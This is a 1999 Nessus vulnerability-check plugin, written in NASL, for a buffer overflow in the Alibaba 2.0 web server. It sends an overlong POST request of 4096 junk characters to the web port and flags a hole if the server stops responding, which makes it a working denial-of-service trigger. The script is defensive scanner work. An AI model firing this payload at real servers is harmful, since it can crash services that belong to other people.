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#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10012);
name["english"] = "Alibaba 2.0 buffer overflow";
name["francais"] = "Dpassement de buffer dans Alibaba 2.0";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "It is possible to make the remote web server execute
arbitrary code by sending the following request :
POST AA[...]AA/ HTTP/1.0
This problem may allow an attacker to execute arbitrary code on
the remote system or create a denial of service.
Solution : None at this time. Use another web server
Risk factor : High";
desc["francais"] = "Il est possible de faire executer du code arbitraire
un serveur faisant tourner Alibaba 2.0 en lui envoyant la
commande suivante :
POST AA[...]AAA/ HTTP/1.0
Ce problme peut permettre un pirate d'executer du
code arbitraire sur le systme distant, ou de mettre
le systme hors-service.
Solution : Aucune. Utilisez un autre serveur web
Facteur de risque : Elev";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Alibaba buffer overflow";
summary["francais"] = "Dpassement de buffer dans Alibaba";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
family["english"] = "Gain root remotely";
family["francais"] = "Passer root distance";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes", "www_too_long_url.nasl");
script_exclude_keys("www/too_long_url_crash");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
# if the server already crashes because of a too long
# url, go away
too_long = get_kb_item("www/too_long_url_crash");
if(too_long)exit(0);
port = get_kb_item("Services/www");
if(!port)port = 80;
if(get_port_state(port))
{
data = http_post(item:string(crap(4096),"/"), port:port);
soc = http_open_socket(port);
if(soc > 0)
{
send(socket:soc, data:data);
close(soc);
soc2 = open_sock_tcp(port);
if(!soc2)security_hole(port);
else close(soc2);
}
}
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